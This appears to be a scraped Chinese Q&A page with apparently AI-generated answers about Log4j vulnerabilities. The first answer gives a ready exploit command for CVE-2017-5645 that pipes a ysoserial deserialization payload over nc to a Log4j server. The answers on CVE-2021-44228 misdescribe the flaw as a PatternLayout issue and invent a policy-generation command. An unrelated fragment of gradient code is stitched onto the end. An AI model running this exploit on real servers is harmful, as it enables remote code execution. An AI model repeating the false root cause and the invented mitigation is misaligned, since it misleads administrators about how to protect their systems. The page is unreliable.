Log4j-CVE-2017-5645

时间: 2023-10-25 21:08:40 浏览: 49
Log4j-CVE-2017-5645是指Apache Log4j 2.x版本中存在的安全漏洞。攻击者可以利用该漏洞执行任意代码。为了利用该漏洞,攻击者可以使用ysoserial生成payload,并发送到受影响的Log4j服务器。具体操作可以使用以下命令: java -jar ysoserial.jar CommonsCollections5 "touch /tmp/CVE-2017-5645_is_success" | nc 192.168.1.240 4712 这个命令将创建一个名为CVE-2017-5645_is_success的文件,并发送到IP地址为192.168.1.240,端口号为4712的Log4j服务器。
相关问题

apache log4j CVE-2021-44228漏洞怎么解决

漏洞描述: Apache Log4j 2.x中存在一种命令注入漏洞,攻击者通过构造恶意日志信息,可以在目标服务器上执行任意命令。 解决办法: 1.升级到最新版本 Apache Log4j 2.x发布了修复此漏洞的版本2.17.0,建议用户尽快升级到该版本。 2.使用安全策略文件 在升级之前,可以通过使用安全策略文件来限制日志信息中使用的类和方法,以减少攻击面。可以使用以下命令生成策略文件: ``` java -Dlog4j2.formatMsgNoLookups=true -Dlog4j2.disable.jmx=true -Dlog4j2.benchMillis=100 org.apache.logging.log4j.core.tools.GenerateExtendedLoggerInfo > log4j2-enum-class-loader.policy ``` 然后将策略文件放置在类路径下,例如在Tomcat中,可以将其放置在`$CATALINA_BASE/conf`目录下。 3.禁用Log4j JNDI Lookup功能 如果无法立即升级,可以通过在JVM参数中添加以下选项来禁用Log4j JNDI Lookup功能: ``` -Dlog4j2.formatMsgNoLookups=true ``` 或者在log4j2.xml配置文件中添加以下选项: ``` <Configuration> <properties> <property name="log4j2.formatMsgNoLookups">true</property> </properties> ... </Configuration> ``` 以上是针对Apache Log4j 2.x的解决办法,如果您使用的是其他版本的Log4j,请查看厂商的官方文档或者联系技术支持获取解决办法。

apache log4j2 任意代码执行漏洞(cve-2021-44228)

Apache Log4j2是一个广泛使用的开源日志管理工具。然而,最近发现了一个严重的漏洞,被命名为CVE-2021-44228。这个漏洞允许攻击者通过恶意构造的日志事件来执行任意代码,导致系统被远程攻击者完全控制。 漏洞是由于Log4j2中的PatternLayout布局处理器存在一个特定的模式转换字符(%d、%i、%m、%p等)被恶意利用的问题。攻击者可以将恶意代码嵌入到日志事件中,并通过向受影响的Log4j2实例发送恶意请求触发此漏洞。一旦攻击成功,攻击者可以在受影响的应用程序上执行任意的远程代码。 这个漏洞的危害性非常高,因为日志功能几乎在每个应用程序中都得到广泛使用。攻击者可以通过恶意日志事件执行各种攻击,包括远程命令执行、数据库注入、代码执行等。受影响的应用程序可能会泄露敏感数据、遭受损坏甚至被完全控制。 解决这个漏洞的最佳方法是升级到Log4j2的最新版本。Apache已经发布了修复此漏洞的版本,更具体地说是2.15.0和2.16.0,这些版本不再处理这类模式转换字符。如果无法立即更新,可以考虑在应用程序中禁用PatternLayout布局处理器,或者使用其他日志管理框架替代Log4j2。 此外,还建议及时监测应用程序的日志活动,并对异常的日志事件进行审查。如果遇到可疑的日志事件,应立即采取行动,例如暂停相关服务、排查日志事件来源、加强网络安全防护等。 总之,Apache Log4j2的CVE-2021-44228漏洞是一个严重的安全威胁,可能导致系统被完全控制。及时升级到修复版本、加强监控和审查日志活动是应对该漏洞的关键步骤。

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好的,根据上面的目标函数,我们可以推导出其对应的梯度向量函数,如下所示: def gradient(x, y, beta): """ Compute gradient of the logistic regression loss function :param beta: model parameter vector :param x: feature matrix :param y: label vector :return: gradient vector """ n = x.shape[0] pred = 1 /
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